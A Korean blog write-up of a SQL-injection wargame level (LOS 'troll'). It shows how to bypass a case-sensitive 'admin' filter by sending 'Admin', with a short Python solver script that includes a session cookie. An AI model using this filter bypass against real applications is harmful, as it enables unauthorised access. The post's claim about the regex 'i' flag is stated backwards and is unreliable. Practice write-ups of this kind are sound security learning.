본문으로 바로가기

LOS 8(troll)

category LOS-write up 2021. 1. 3. 03:07

문제

문제 분석

id에 "admin" , "'"(싱글쿼터)를 피해 id에 값이 admin으로 들어있으면 문제가 풀린다.

 

이때 admin이 필터링 되어있어 이를 우회하는게 핵심이다.  

 

문제 풀이

preg_match 함수를 보면 preg_match("/admin/"$_GET[id]) 이렇게 되어있는데 "/admin/i" 이처럼 i가 없으면 대소문자를 구분하지 않기때문에 대문자를 사용해서 admin을 Admin 으로 바꿔주면 된다

SQL쿼리는 대소문자를 구별하지 않는다

 

문제 정답

URL?id=Admin

 

 

문제 풀이 코드

import requests

url = 'https://los.rubiya.kr/chall/troll_05b5eb65d94daf81c42dd44136cb0063.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'}  #로그인 쿠키

data={}

#싱글쿼터 우회 아님

data['id']="Admin" # 대소문자 구분 못함. pregmatch 뒤에 i 있으면 구분 없으면 구분 안해줌
res = requests.get(url, params=data, cookies=session)

print(res.url)

if "Clear!" in res.text:
    print("\nClear!")
else:
    print("try again!")

코드 결과

'LOS-write up' 카테고리의 다른 글

LOS 10(skeleton)  (0) 2021.01.03
LOS 9(vampire)  (0) 2021.01.03
LOS 7(orge)  (0) 2021.01.03
LOS 6(darkelf)  (0) 2021.01.03
LOS 5(wolfman)  (0) 2021.01.03